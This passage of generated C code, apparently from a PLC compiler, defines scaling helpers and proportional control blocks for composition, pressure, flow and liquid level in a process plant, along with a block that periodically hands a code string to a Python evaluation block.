__INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + 